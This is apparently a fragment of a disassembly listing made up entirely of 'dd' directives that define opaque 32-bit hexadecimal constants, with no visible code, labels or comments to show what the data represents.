		dd 74516D3h, 701A72B0h,	0F473DF7Ch, 1DC45B02h, 7D313707h
		dd 5461FA40h, 55E288E2h, 175DF400h, 0F8F1F73Bh,	0F4ECF289h
		dd 0F6591377h, 4A200268h, 44B43DBAh, 0D088A454h, 350E40FEh
		dd 0E0605DBFh, 94A80D86h, 0C0010012h, 0C89486Fh, 0BE00A528h
		dd 41F0633Ah, 60ABA81Eh, 6BC068AFh, 0D51EF3F1h,	6FDD771Ah
		dd 0D97CD080h, 90630413h
		dd 406E0084h, 0E5EA0DB8h, 660090FDh, 84DDF90Fh,	0F4C13A42h
		dd 0C7960199h, 0F3EB9CE6h, 747030E8h, 43000499h, 1E40B02Eh
		dd 899E027Dh, 62803AA1h, 5E93CCA0h, 0D09915Bh, 998184E4h
		dd 79801A34h, 0B9E369FDh, 7D0604A2h, 44DE35B4h,	1A2D0BC8h
		dd 930099D4h, 7292C90Dh, 65025374h, 56AD1FC2h, 0E5A88004h
		dd 7BBB4C6h, 0C98170CFh, 0A34EE386h, 0D53854B0h, 0B163BE00h
		dd 0AB95365Ah, 0AE8E03E8h, 0FF7A9BACh, 417C6097h, 2F093F07h
		dd 0F0C7F3h, 8F364A3Ch,	0EEBA1830h, 0C37F2098h,	5DECD809h
		dd 0DF642027h, 5712850h, 65B505E8h, 0A4860E14h,	7DE606E0h
		dd 0CC025083h, 28444DB3h, 6B4460C4h, 0E06A0035h, 7A3486A6h
		dd 8E1D3207h, 0CD015FB9h, 3F5E2B1Fh, 48928AC0h,	0C312F0B7h
		dd 0BBC500F8h, 0A54CDF59h, 9FFE6501h, 40753B12h, 1366EE0h
		dd 279716E3h, 970DBF42h, 2B002B58h, 1A474FEFh, 0A83000A2h
		dd 605AB0B1h, 1CB0FA96h, 23FF8702h, 0E0C21879h,	248A6A8Ah
		dd 7A104BEh, 0D0F84CFAh, 0E4285E7Bh, 32FD2F01h,	55519F93h
		dd 0E7DEC8h, 0A42470A0h, 44F00A5Ah, 0D6259700h,	0B25EE363h
		dd 8ED71F59h, 3EA6CBh, 56FB8DE8h, 5700C21Fh, 7A218176h
		dd 1C917479h, 5F385D69h, 0E0F3008Ch, 5CFF64CAh,	9BA00F00h
		dd 129E9CFCh, 9478094Eh, 500EED1h, 6E551DD4h, 0E80F5879h
		dd 9B2E80h, 4977433Ah, 38EE004Eh, 0C094B6AFh, 80007487h
		dd 0D66CC969h, 19E0C26h, 0B618B0D2h, 0C5EC376Eh, 86E447DFh
		dd 560019EAh, 9098036Fh, 4D86A4h, 3D51C98Dh, 7ECABAB8h
		dd 0FC00C690h, 0F6F0BD24h, 1293CBC6h, 4081AEE9h, 6366A18h
		dd 0AB0151FBh, 5EF86C25h, 342021CBh, 0CA480F9Eh, 35C77F67h
		dd 0A1DF3275h, 85600CE2h, 43005217h, 87496A1Eh,	0C8F807h
		dd 4585684Eh, 998DAF88h, 6A3E3F00h, 0D3E15130h,	7B4D00FBh
		dd 96B21C2Bh, 0EC026624h, 3B999E76h, 0ADA7E031h, 390F00F2h
		dd 114DBED4h, 0FB98239Ch, 82734FFCh, 0E452502Eh, 72C02A1Ch
		dd 9A57ACDCh, 2E9C9030h, 0CC1ED6h, 76138D91h, 0BC3D23D2h
		dd 60E8EF3Bh, 9C5D3FE2h, 432C0016h, 5FA478C9h, 0F7791B70h
		dd 0BD887E01h, 1529325Dh, 0F502E8D4h, 43F860h, 30C23C83h
		dd 0C394EB8h, 0A2A0F21Ch, 0EB1B37C3h, 0C53D8026h, 93D53DF8h
		dd 31691A00h, 0B454DD41h, 0E996330h, 9C04C9h, 0FFEF8987h
		dd 50D45F76h, 4D11A513h, 0A7E91041h, 0FE217C27h, 0C1104023h
		dd 80E03841h, 108AFC5h,	4F9FD35h, 0DD71557Bh, 0C2F497B2h
		dd 0AB60D939h, 709764CFh, 503A7BC2h, 818097h, 864B279Ah
		dd 2C68A910h, 0A0D28816h, 7A188C58h, 0CB7E0CE3h, 5D50E4D1h
		dd 8C639909h, 59F00149h, 48FC4F41h, 96942F74h, 0B00B354h
		dd 98DC7BAFh, 1A2E00E8h, 6D77AA27h, 0E02E903Bh,	0E4058C79h
		dd 208048B0h, 24AA5622h, 3DA42A7Fh, 3202DE3Bh, 0FC8EABA7h
		dd 5EA26860h, 7778707h,	96804086h, 0B1A4CCB9h, 40CFC744h
		dd 0A06E256Fh, 0BEB9F48h, 0B5CA07h, 71F53AE1h, 0A0C903Bh
		dd 781C8E58h, 0C8BB8784h, 0A75E105Bh, 1A1A23E4h, 0C0503C45h
		dd 0E8A381F8h, 3B2F3066h, 6DD42910h, 0E055CD00h, 0FDF6D250h
		dd 3D795Ch, 208C19A9h, 0B38D920Eh, 0D2AFBF0h, 0E700A87Bh
		dd 0D3B66336h, 0DF108Fh, 0D44F6EE3h, 0A0C744FBh, 16E04A58h
		dd 0DA06F074h, 104B52h,	8D0D55BCh, 0FBAB378Eh, 501C3A2Ch
		dd 34B8D581h, 0B9FC1D5Bh, 8A720046h, 8C673350h,	54004F91h
		dd 30D9693Ah, 3A6621DDh, 18008F96h, 446F7CCCh, 4B095B25h
		dd 80EA033Fh, 0E27A96F0h, 0A3EC0046h, 0CF0769AAh, 0EB00A432h
		dd 9D753623h, 0D2875Fh,	712178BAh, 2291545Eh, 6A764A00h
		dd 243B6E93h, 5AB3254Ch, 0B8064AFh, 61AA9FB7h, 0B405E7F8h
		dd 327C2AEDh, 9E81CA01h, 9DDCCE33h, 4420060Dh, 0E1887F5Ah
		dd 0EE008CE8h, 93024D9Bh, 0E40380Ch, 0F51FC04Ch, 7AFE4E0h
		dd 32004410h, 0D94F04CBh, 38C98828h, 0AD00B391h, 0C7CC0C84h
		dd 90903EBFh, 6EB55012h, 9EC55C07h, 87CD7AA0h, 541A004Ch
		dd 730CB6CFh, 9B00F772h, 0B93423F9h, 778E9CBh, 0D1498838h
		dd 0D07790BAh, 3002C13Eh, 0ECFDF5BDh, 0AB4CE06Ch, 0CE809C6h
		dd 0D410B612h, 7E009711h, 63731A59h, 28624BFCh,	9CC89Bh
		dd 0EC476BB7h, 4F157BCBh, 83FFEB00h, 0A68AD7B1h, 436501A4h
		dd 46A57F9h, 25FC402Ch,	48804FF3h, 27340BBBh, 0A09375h
		dd 0A6873010h, 0E204AF75h, 0D4FB1925h, 72B07480h, 7B1700D6h
		dd 551EA3C9h, 0D0023206h, 0BE592464h, 60976066h, 6B7000ECh
		dd 0FA6F7D46h, 61000349h, 0E83EAF26h, 120C9C55h, 5FCF4FEh
		dd 8C365780h, 3BFAFBFCh, 0BDAB6B00h, 77BA15Eh, 715D0098h
		dd 0E9D88956h, 0CF62C25h, 0EE43E80Eh, 94CC4077h, 0E21D495Fh
		dd 0FE0902AFh, 0E906B315h, 41A0B858h, 1DFCA70Ah, 5908FD00h
		dd 8ECFBF79h, 81D5003Fh, 7C748044h, 0CC006646h,	8DE75806h
		dd 60A01Fh, 2B7DE463h, 7783613Fh, 41DE7E00h, 5457F50Ch
		dd 3A8200BCh, 0C5D066B8h, 694C4F5Ah, 2EA40410h,	3A80AFC2h
		dd 34B9E4h, 332A73CBh, 0EFF3BAA2h, 89091600h, 4C623E28h
		dd 12F803CCh, 0D8D0064Ah, 108ECDE8h, 0C5E20F00h, 0F1ECAEA8h
		dd 64DE2CF8h, 8C4E0028h, 0C10CBFDAh, 7B9ED801h,	63A0D88h
		dd 3205C60h, 648692B8h,	0A0C80447h, 0FB1FB427h,	34C1452Dh
		dd 84F303A2h, 7593DC4h,	2C238C4Fh, 563BC08Bh, 55054BE0h
		dd 3445EDEBh, 0EA309A87h, 1E7DC03Ah, 0C0DB83E5h, 0A35EDFF3h
		dd 0F90737DDh, 0A9D52067h, 0E07F80C7h, 5B944F22h, 0B48600CFh
		dd 70F8EAE5h, 1F003937h, 0B86E8808h, 3117EB1h, 208EA46Fh
		dd 0ED894BFh, 0B000D314h, 0A8C6A2Ch, 783A285h, 0BD2FA8B2h
		dd 7CA089AFh, 0E8A86B0h, 94CA7A1Ch, 0A2007A39h,	4241E575h
		dd 0FC8496h, 0DAE9C15Eh, 0E7904498h, 0B600B972h, 4306310h
		dd 7A779CCh, 0C7D27F76h, 8DDF40FAh, 61C14DB6h, 553143C4h
		dd 409C840h, 0C31E07AAh, 0C98ACE81h, 0B8AC5C60h, 2E3018A0h
		dd 0CB0C5100h, 0FE08505Fh, 3C2C7C2Ah, 91179636h, 0F1813DCh
		dd 5860DFC3h, 0A3AB06E2h, 0BD414A67h, 40042992h, 213192h
		dd 4C25E7D2h, 5BF6E4ADh, 1620817h, 0E061D00h, 67E78A23h
		dd 0C4918802h, 71C78004h, 0A47FD664h, 0A1E5A900h, 9C6ED8BAh
		dd 0BC85004Bh, 0F89135DEh, 8AFC0639h, 59E58E00h, 245CB7BAh
		dd 101F006Dh, 457206Eh,	6B0F5EDDh, 6F92CBD5h, 0A438079h
		dd 3B4FD9Ah, 0E8E3C138h, 0C4D04BD3h, 0EF046DBEh, 0A092DFA9h
		dd 0E1E07B87h, 0C592Ah,	146FC74Fh, 0ED5D4D12h, 0E22A55F8h
		dd 5E11A051h, 0CC00B1E4h, 0FEBE0B74h, 4F0025E6h, 0D5DC3153h
		dd 185C4A6Ch, 28494488h, 7E00F341h, 0B81FCB0Bh,	0CCA7CE63h
		dd 0E49E008h, 1E71B700h, 88C71CBFh, 777419F0h, 0F2D2586Fh
		dd 0A55E04C0h, 9826D901h, 61BE26Ah, 41059183h, 13A8D8DFh
		dd 0A8188D4Dh, 3620BE22h, 849A2E4Eh, 7B504064h,	5B3FD489h
		dd 23188C72h, 0C049080Ah, 89536321h, 480ED8F1h,	0FE735FA3h
		dd 0A8225D88h, 0B2150C01h, 2111BEBAh, 800055EEh, 0F04971A2h
		dd 4FFD648h, 0F20B535Ch, 0CC1C80BEh, 1C0BAE67h,	0F83ABD06h
		dd 5ECF964h, 49E961A0h,	0CD0C6AE1h, 7BE86866h, 8F12733h
		dd 0A211C3Bh, 0F2FDC074h, 81B3494h, 5B47B700h, 0E8B020E3h
		dd 0A0777404h, 0F0C398h, 909BD7D6h, 55D28B84h, 0C05B2B00h
		dd 8C5D9499h, 53F600C9h
		dd 424A33E1h, 1D020820h, 55A3B526h, 0A8E060F2h,	0FD150314h
		dd 9B4B6599h, 21F61B8h,	0D9008C7Bh, 0A3BC5D62h,	0B0F27ED0h
		dd 313A0EE5h, 1A601B2Eh, 4280B048h, 2DC2A00h, 18430654h
		dd 4A470040h, 0E32EF52Ch, 0D10039E1h, 28D0DACAh, 43C678h
		dd 0EB2B203Dh, 0AD8E2213h, 0FB1E9F0Dh, 41A1181h, 6E4A2BC3h
		dd 0AFF61000h, 4B5D19FEh, 6B42032Dh, 1BA92AD4h,	0A2BA35A0h
		dd 0E1996700h, 0C0AE5A75h, 50CD7AB7h, 1DB98F8Ah, 0C72E0FF5h
		dd 30236DD9h, 41712C03h, 0E8152500h, 0CCE15CE6h, 75BE00FBh
		dd 0E319F6E9h, 4307F42Dh, 5D271205h, 0D0424693h, 1388085h
		dd 0ABCE018Eh, 0E83DEE74h, 20C0A1EAh, 0DC5A0FB1h, 9C75007Fh
		dd 0C620694Ah, 0ED0074ACh, 2442BC38h, 0FE28B9h,	2BD3BB72h
		dd 9C8A435Ah, 0F720DA00h, 9F985F4Ch, 90F30316h,	0E452E64h
		dd 9BA21798h, 8BFCB00h,	2AAF540Ah, 892C0075h, 0D0092B57h
		dd 7B00839Eh, 0A3A5ADF4h, 1FE3B911h, 0C0ED6053h, 0BD7FD8Fh
		dd 0FF14C668h, 7BB021A0h, 0CCAEF400h, 0D267D4C3h, 624C0035h
		dd 0F5F9BE6Ah, 1F00900Bh, 39C40CF3h, 1C38A417h,	80087EA9h
		dd 86CA37DAh, 0C7012B4Ch, 0DE507121h, 0B940F990h, 549834Dh
		dd 0BCFD5D34h, 30E8417Dh, 70047879h, 0F7B00AE3h, 0B21A3E00h
		dd 1C180748h, 0B1F20042h, 75F91476h, 0B70CCFD6h, 0F04959CAh
		dd 0C13B0040h, 0E66450E8h, 0A900F5CCh, 7AE36C09h, 4A29BBh
		dd 687597A1h, 0BFE97858h, 0C57CAE00h, 8F875D2Bh, 532800CFh
		dd 840D44Bh, 0D801D558h, 0BA2F540Bh, 5AD0DDA4h,	0FB4F00E0h
		dd 21D2271Dh, 882878CFh, 541C9C28h, 95DDCBDFh, 961BB2C0h
		dd 7146D611h, 0A60C00CAh, 7E219E22h, 0A507FCE0h, 931E566Ah
		dd 0F81FDFD0h, 20900EB1h, 32C051AEh, 0FF9575D8h, 0E8687B00h
		dd 0EDA3676Ah, 390F626h, 0BA16FE2Ah, 8EF8B9CCh,	9507102h
		dd 6077E880h, 919DDE26h, 5CD77C03h, 0AD99C0C4h,	3F6F00DAh
		dd 74905DCh, 0E948D98Bh, 62CE05EAh, 0C000186Bh,	0A326DD24h
		dd 29A718BCh, 0ED11EEDFh, 0E8782C01h, 0E49E1B5Dh, 24870EEDh
		dd 0E0AE3D0Ch, 85B113FFh, 0B344E01Eh, 0D478F200h, 0EF89730h
		dd 2047908Eh, 1C799E00h, 9FF8333Ah, 54115A1Eh, 7A80EB1Dh
		dd 0EAA213C4h, 5DD1DFDh, 0AD91C0C5h, 9B3E45FAh,	78FB1200h
		dd 4367926Dh, 41840003h, 0A585D465h, 9E070E1Dh,	0FD0570FCh
		dd 401272B2h, 7B323524h, 3B54A0B5h, 1D7641h, 1584EAA1h
		dd 598BAAE6h, 0A072F700h, 557D1AECh, 0FFE8000Eh, 54CA67B3h
		dd 0AB005D24h, 8204CD8Fh, 120A32h, 42FC2018h, 0A1E74809h
		dd 34ED1024h, 2534003Fh, 0A572133Ch, 0F25100DCh, 0C8DD1A67h
		dd 1F006AADh, 0CFE94DEFh, 1AB2019h, 0C23A2D68h,	87713C78h
		dd 962BF518h, 0E04F3DA7h, 0C69962EDh, 9FC4001Ch, 8106CF9Ah
		dd 6E1C7587h, 5913B93Ch, 0F4918040h, 1E5407ABh,	0FC6BECh
		dd 8D04BBD2h, 0D90C7C99h, 0ACAAE775h, 0CFE80FF9h, 0F28FBC12h
		dd 84F10340h, 1D009A88h, 2ED898B2h, 98541EE0h, 0CD140099h
		dd 85F06766h, 6A7D43D4h, 4800D679h, 0A4D625Dh, 0BCF5CDh
		dd 12AE33F6h, 0B7EB4C1Fh, 0E9FC2101h, 0E8099E8Fh, 4F36108Eh
		dd 0DDF80520h, 8A0F4416h, 206365CEh, 0B6FA491h,	23EF0004h
		dd 0AA12BF5Ch, 0FC01E545h, 6B09638h, 15CCA04Fh,	101C0072h
		dd 0A654CDEh, 783E8EC0h, 0DAD40E2Fh, 865E7E73h,	3E21B640h
		dd 0F1E6BBh, 35467D51h,	23FB1BEBh, 57180F1Eh, 76E42C5Dh
		dd 0AD23C00h, 601BBh, 72B3E5EAh, 9E43357Dh, 0E35CE801h
		dd 581A573Eh, 3A15D4h, 0D72AE27Fh, 138020F3h, 0CE0FC907h
		dd 7B803744h, 1AD255h, 12661CF0h, 0C97C2F7Dh, 0F4CC90C1h
		dd 4730838Bh, 901B0081h, 7542F972h, 5B011C1Dh, 6B2137F6h
		dd 1AF48939h, 88E51D6Dh, 0C3D9CC31h, 5A07B7F8h,	904CFB99h
		dd 8EE8F30h, 3E60BB8h, 0BB80980Fh, 0C59B5AF7h, 12DD1800h
		dd 0B5516DCh, 24E34CB6h, 1542037Ch, 0B3CACC6Dh,	8D0D7198h
		dd 3EFD1413h, 9336BC40h, 5D8350h, 1F593AF4h, 0E3530772h
		dd 0E4485260h, 0CE4855h, 0EC5F91E1h, 0D624138Ah, 0E2D54F00h
		dd 47EB0D92h, 0C21F1C15h, 35CF467Dh, 3D0020B0h,	0DA8741D4h
		dd 262872BDh, 1DCA156h,	0F4E471ACh, 6346480h, 68E7A200h
		dd 29EC536Fh, 4A540083h, 0FB3D4BB2h, 9390E140h,	3146AE00h
		dd 0A532ECFEh, 905200BEh, 1220E38h, 49014ADDh, 45A2AD75h
		dd 85DDFF12h, 0D34003EBh, 7F1F2639h, 71FE29C0h,	0A70001E4h
		dd 54FC9AC7h, 39B0A5h, 89C3623Ch, 0BE751FDBh, 320D5500h
		dd 7691873Dh, 0DD130019h, 95815188h, 9F137544h,	5C60B5C4h
		dd 8DDB4Bh, 0AD929EFEh,	0AAC6A66Dh, 5E1C5300h, 8A6557E9h
		dd 969D00FDh, 0C1DF3776h, 6E00D622h, 6D32582Bh,	157C065h
		dd 0D740EE5h, 40ABA5F4h, 53934294h, 758B3500h, 0B4A686B3h
		dd 63963314h, 73E8E294h, 8F000F07h, 3D650931h, 0F04B237h
		dd 96E44C81h, 8C8D3320h, 0AD01FA0Ah, 0C24D8356h, 8B3055D9h
		dd 6E0C011Ch, 3D8AB93Ah, 92743094h, 36AB9603h, 0A878E64Ah
		dd 4CA702ECh, 0CB014D8Eh, 9D14D374h, 1096F8ACh,	6E7AA800h
		dd 0CE324B82h, 0E64F00BBh, 2F68336Ah, 8B3D6176h, 0B02700D1h
		dd 889D7708h, 6FB300CFh, 0C63AD83Bh, 2E1381CEh,	0E05CBDF1h
		dd 8029A00Eh, 0EF839F6Eh, 59F7008Fh, 0A9792B63h, 69007BA1h
		dd 2FB1FA67h, 0CB57F0h,	0D98246B5h, 7410FB39h, 0AAB71300h
		dd 0C00D9F99h, 970F00CEh, 1D176072h, 0E3015B81h, 0D91F0B12h
		dd 24288A63h, 6E68A100h, 37D5E5A3h, 3AF2AD3Ah, 0FD10041Dh
		dd 38A13E04h, 0E98C38F8h, 0DE87A9BDh, 416E09E2h, 80F3D296h
		dd 0C3C60618h, 1645E0h,	747FB999h, 80AB27D5h, 0FD317000h
		dd 0A4D2E3A5h, 38AE00F1h, 48326AB9h, 561E589Bh,	3DD4FEEAh
		dd 19122138h, 0F8156806h, 0A0C0CFEBh, 812EADC3h, 0E022406Fh
		dd 638A6138h, 107E228h,	4029B408h, 8A8DC4D5h, 3098FE49h
		dd 0D201A312h, 35D0D37h, 0F0F12BC0h, 0EA5F0044h, 6723AC22h
		dd 6A0F75F7h, 409DF3ABh, 1B4C121h, 44A00E1Ch, 14A013F6h
		dd 3DE8F486h, 0F818B300h, 5845A4F1h, 30AE1F96h,	821500ADh
		dd 2990F4CFh, 0ED60010Eh, 0C8AC60B8h, 1DB72833h, 40573780h
		dd 0E1C2C81h, 0DE76C6EBh, 0F55C7298h, 0C1BD50D8h, 0FB66C200h
		dd 3C1CFA47h, 492BF2B1h, 0DE031C03h, 19A5CF94h,	3608E900h
		dd 0AAB4EF81h, 56F03B34h, 0C98040BCh, 0F4A78466h, 881D2220h
		dd 2C80897Dh, 10CD503Ah, 20EEC18h, 82CF4FF7h, 405B3BE6h
		dd 37D844C1h, 267F29F0h, 34602Ah, 13B67392h, 9CE84DBAh
		dd 45C228C0h, 22A0252Ch, 26225F3Ch, 43712270h, 0B1082E42h
		dd 7A1461E5h, 996A1128h, 0DD44447Ah, 84AE3844h,	2281D422h
		dd 55EE6C06h, 88A27D40h, 10142CBh, 0E707237Eh, 0BAD930A6h
		dd 7F1EE8h, 3299413Fh, 542E8CBBh, 82DAB600h, 188F2234h
		dd 151C0FCEh, 4A6056EAh, 0E8FB0F84h, 0B4EE81F8h, 0F503DC04h
		dd 0ECC8A189h, 211500B1h, 6519A4FDh, 24707CD3h,	9D3C221Eh
		dd 0DE5A69C0h, 0F2CC13h, 74FE4A39h, 0D94E5FBDh,	0BFF5F400h
		dd 0E7D6157Ah, 0B77E87h, 211748FBh, 809F28D1h, 9924D700h
		dd 0E63F93CCh, 0D8B038h, 712D4770h, 4801B8EAh, 5DB4AB00h
		dd 0E9F4D55Fh, 3212004Fh, 5C8C71A3h, 0CB98D3BDh, 6AC1491Dh
		dd 0B0EE9380h, 0F72CB2h, 11F25AF6h, 5716DF7Fh, 0E12FC800h
		dd 0C79A75B4h, 0A7DD003Ah
		dd 87556810h, 2A006F8Ah, 0ABB64FB9h, 3E90E906h,	6900D05Dh
		dd 0FF7B1F65h, 4BEC59C2h, 54F47C71h, 6B528700h,	0CF219CD1h
		dd 1790FC56h, 4D4226h, 582A0888h, 4B01D67Ah, 52D28544h
		dd 0E2FD3E62h, 7B1800E3h, 0E12686EBh, 0AA171CCCh, 6B0FD923h
		dd 8E3680D0h, 0DAE2CAh,	0A9F1D284h, 0B6D98B1Eh,	9CEFC800h
		dd 53633610h, 0B55A0015h, 7294518Eh, 0FC98E5B9h, 9B0CB400h
		dd 0D084F7DAh, 43B100E0h, 9193D13Ah, 2A0745E5h,	0AB0ED3B2h
		dd 5D6D1030h, 0A5F3076Bh, 0C5057FC6h, 0A0D887C1h, 0AFF26133h
		dd 1C001E72h, 97F457D6h, 0E2F5AE29h, 0E610C050h, 0E37F158Ah
		dd 2BDAD117h, 3946D903h, 6AC6B043h, 23BB28F8h, 7C77B99h
		dd 0ACD4C4A5h, 0D35351DDh, 0D024DD1Fh, 0E600DE4Dh, 0F7CAC377h
		dd 72626D7Fh, 0A0C0002h, 0BB6A72D1h, 9900D05Bh,	0FC559A91h
		dd 0F4F87668h, 2D460011h, 953422DDh, 0BD30F4EBh, 98BE987Eh
		dd 3010B8E7h, 90285C2Ah, 92F405A4h, 0DF308E00h,	334056AFh
		dd 0C57E0047h, 350A9E6Dh, 0E1EBFD4h, 0D8855C0Bh, 0E980808Eh
		dd 0AEA240h, 45B0ECB5h,	0A40B1A95h, 3BACC700h, 0CC3EB617h
		dd 0C0EA1C7Eh, 8F9FD1h,	78025888h, 0DEFA2CF8h, 97E6920Eh
		dd 31E20054h, 894CB9h, 1E1938E4h, 7E7F686Dh, 3C2E5776h
		dd 7600A10Dh, 45E2D12Bh, 9BE0F2h, 0B89E027h, 0A2DF4075h
		dd 0EE561E02h, 60E7605Dh, 0CD7FE05h, 0BC52CEBEh, 0EB018DC4h
		dd 0A776240h, 57F47F0Ch, 83E9007Ah, 70BD7E8h, 96768ADCh
		dd 8FEEF400h, 0A770E53Ch, 83330101h, 0DC3FAB21h, 0B485C837h
		dd 0C7CAA602h, 60EF9894h, 3C6A438Fh, 0F10001E4h, 6BA20FF6h
		dd 99A09CDFh, 4B283819h, 6600D437h, 97929BAh, 18CF813h
		dd 74140BDBh, 7FFFCACBh, 7661D9A0h, 92D1E194h, 19A5020h
		dd 700DCEC2h, 2019E2BAh, 0B224E096h, 0D38028C5h, 77E5AFCCh
		dd 950300A1h, 63A35534h, 4500AE7Ah, 0DEBA7964h,	6F4568Ah
		dd 762D7005h, 55001175h, 0C8EDA778h, 5CD7BD51h,	9B00FE7Fh
		dd 0B5584D68h, 64908881h, 45EFB910h, 0DD014E48h, 82B28A28h
		dd 42BEF40Fh, 72C43654h, 338A490h, 0B7C807Ah, 10E92091h
		dd 342D0038h, 23939667h, 0B7007B01h, 0C055ACE7h, 338112Ch
		dd 57E59E12h, 10002D22h, 7D58EF5Bh, 7E60DD7h, 0E036CAC5h
		dd 6AE2C0BFh, 6100A61Dh, 0F0BE5660h, 45CBACh, 0EF7CF8CAh
		dd 7259437h, 9CE4F70Eh,	5EE5E02Ch, 5CAFB1D5h, 5800A823h
		dd 1C5A868Bh, 8E3A52A7h, 0A2648004h, 9785A54Fh,	0B13D0020h
		dd 0C1C41E45h, 9600567Dh, 1884437Bh, 181A3DFh, 8BCB53EBh
		dd 0E1D7AFE3h, 0BCE9FC06h, 7AEEB800h, 0DFD86EE4h, 0C6C00044h
		dd 5B3E4F56h, 8000E719h, 5AF44578h, 0C2DA6h, 3F56338Dh
		dd 7626C54Eh, 209B5500h, 83D56EC2h, 2ABA389Fh, 8667C307h
		dd 0E4EA1023h, 0AE00D05Fh, 4DDD176Fh, 173BBDCh,	0DF49D59Fh
		dd 0F456B0B7h, 0CF8C62Ch, 1D92A909h, 0D4A980BFh, 4811876Bh
		dd 6300B431h, 0AD16D7F9h, 150064FCh, 0F37FC7A9h, 0F022B9h
		dd 8D452070h, 0AB10D0EFh, 0AD014490h, 0B5E8625h, 622121DBh
		dd 1BDDFC00h, 39700FFh,	947A8F43h, 0D71D984Fh, 6F83E01Ah
		dd 0B037C5BAh, 106EC0h,	0DF60D6FFh, 0F12E87FBh,	6458DA00h
		dd 0B41DB2BDh, 0CA993AA7h, 53C003FFh, 0DE434E93h, 463DBDB8h
		dd 0D7EC6201h, 0E9C8CBAFh, 0B45E70h, 0F7D98818h, 6CE4C98Bh
		dd 1B9ED500h, 0E007BA41h, 76A60017h, 0EC7CA943h, 360C37DDh
		dd 0D089547Dh, 0DFA503E6h, 73129A0Dh, 1FF43AB0h, 743CD6F0h
		dd 65A6808Bh, 0B65FFF24h, 3E700038h, 86970E69h,	3605EEBFh
		dd 0A6191723h, 4343BAC2h, 0C66DC818h, 94900Fh, 0D1E19529h
		dd 0AD8E4710h, 0C3FADE00h, 0F3E2E56Bh, 1C66005Fh, 0DDC46EFDh
		dd 0B87B39F9h, 41B95800h, 45E83F8Dh, 7A330070h,	904AB075h
		dd 7400BE3Eh, 18696F0h,	90F5D56Ah, 0A1DE01DDh, 0BE952B55h
		dd 2E2709Fh, 3340DA60h,	38424F2h, 181BE160h, 0B3FF8CD5h
		dd 2FD03DAFh, 0DE0734A2h, 0D30C142Dh, 7384C03Eh, 0C6D3BB4h
		dd 37B7D820h, 3E00B5D8h, 0BD4D71F9h, 0FAEC03h, 340EB82Bh
		dd 5AC3AB37h, 1FC07D02h, 4081CBC1h, 0F450F4ECh,	3D398DBh
		dd 3FFD0FD0h, 87B9A99Eh, 7CABD4C0h, 4B77E700h, 0AE644D41h
		dd 0B0C500C7h, 0DA3C391Eh, 3AC0DC3Bh, 2090CAF4h, 43BA017Ch
		dd 0FFEC52BBh, 23337047h, 0ED2A4A0Bh, 0F8D80061h, 7DFB0916h
		dd 1EC9003Ah, 94BEF030h, 500049E1h, 0DBA4F514h,	303A0331h
		dd 32D84DBDh, 494C09F7h, 0C88B006Ch, 98AF631Eh,	15898E8h
		dd 0F146CC15h, 208D8CE9h, 0C5002E18h, 0E1E0B39Bh, 0F2277013h
		dd 4CC8C09Fh, 3CC15281h, 0DD34B400h, 0CD55794Bh, 0C0281E80h
		dd 0AD0B807Ch, 434632D5h, 3FEC6458h, 847107B6h,	2331A80Eh
		dd 0C4EC918Fh, 422B18D3h, 0E8539E59h, 0C0B5FE02h, 0C0A074E6h
		dd 79EB7DF8h, 0D0555C46h, 0BB562D00h, 3BC9CDE2h, 69E5950Eh
		dd 3E156C34h, 2CFC0Ch, 1F2E9164h, 4374E3DBh, 0A92A5600h
		dd 9F1BF2D1h, 8021B8ECh, 0FB0188h, 0D999BE04h, 85EA7FFh
		dd 84FA8B0Eh, 9DBCF4BBh, 8827FD81h, 0E430440Eh,	0D83F2C70h
		dd 69A10063h, 433DD24Ch, 0D3256B05h, 9000938Eh,	0A3714547h
		dd 18EE5CBBh, 0ADA63C7Bh, 4D05B0C9h, 80750AACh,	30272968h
		dd 80D5D2EBh, 637D9456h, 26689041h, 0EECAC2h, 3E61A178h
		dd 8201BAF2h, 0E3B017E2h, 9840E81Ch, 0F834FE45h, 88EE3DB7h
		dd 546AA70Ch, 4203A318h, 0E3A2F55Bh, 9364B0D2h,	0C2100039h
		dd 505E94FEh, 463B69A4h, 21007C71h, 0CF3547B8h,	26C4E12h
		dd 57450F99h, 0D760F1A0h, 527C03CEh, 87FFEB00h,	0E3DC2F7Bh
		dd 745C0E4Bh, 0F2E394E1h, 7648CCF0h, 51B10064h,	0E88E36ABh
		dd 0A0484EA8h, 4B003B17h, 0CFD74AD4h, 0FE2E0D6h, 0B8388DCBh
		dd 0B4F14880h, 0C8003720h, 98F3C3C4h, 3ECAB559h, 0E28A9B32h
		dd 0FB08A9Eh, 2FC07537h, 0F53994AEh, 0EF1FC8F2h, 7440472Ah
		dd 0DE9BA38Dh, 0BCB800CAh, 7923EB2Eh, 0A4E8E427h, 0DD9CD900h
		dd 50D1EEFDh, 69103E3h,	96C11E66h, 725201F0h, 5EEA8200h
		dd 86547525h, 0C943008Eh, 8F5B6CFBh, 0AE7A9552h, 0BEF6DFFEh
		dd 9F006B71h, 0F3DAE1E9h, 9A519A9h, 76410BB0h, 7FB18C80h
		dd 98772AB9h, 0AF000779h, 1770F457h, 919C13h, 4134D79Ah
		dd 0F274D44Ah, 0E62FAF00h, 0FB31A80Fh, 94461310h, 0C2AC00DEh
		dd 727A0A2h, 76079DE4h,	2C536C9Bh, 8B65CBE0h, 0A2E00CDDh
		dd 9578371Fh, 0FC7F7D17h, 0D80F840h, 4A3C7A5h, 3E8E096Ch
		dd 0EAFC90D0h, 8B7C64B4h, 44032C98h, 3006E3D5h,	0E1A9C80Dh
		dd 0ADCB01CAh, 8DF48A18h, 88BE07h, 43F7C813h, 565F02h
		dd 0B3E05D0Fh, 78B40883h, 0A6FB9901h, 9A53E1DBh, 0BC5FC40h
		dd 14F43D58h, 0DC87D187h, 0EC7FC1A5h, 36123055h, 4F6BB1Ch
		dd 33986740h, 17559FBh,	7F071EA6h, 0C826D7CDh, 0F2A2E6Eh
		dd 7843AC31h, 6CEE5E00h, 0E1F26BF4h, 6A6080E2h,	0C38DCA10h
		dd 0A0D80B5Ch, 1F8EAD6h, 80541E2h, 910351F6h, 9D3AF8C0h
		dd 20A88144h, 281FC72Ch, 1540A9E7h, 0F29B03FEh,	4FB502CCh
		dd 949E2661h, 0C44474C0h, 8F25B938h, 0E5031CB3h, 26C0D950h
		dd 8898D3h, 955DE3D2h, 574B9DB5h, 1E365409h, 49E0005Fh
		dd 6C7586h, 6E224550h, 2E5B5291h, 3DDD93Dh, 3718AC41h
		dd 9C780027h, 0C7B8467h, 49E61A62h, 0F9CB9E00h,	94D7E420h
		dd 0ACF40995h, 0CA088CFh
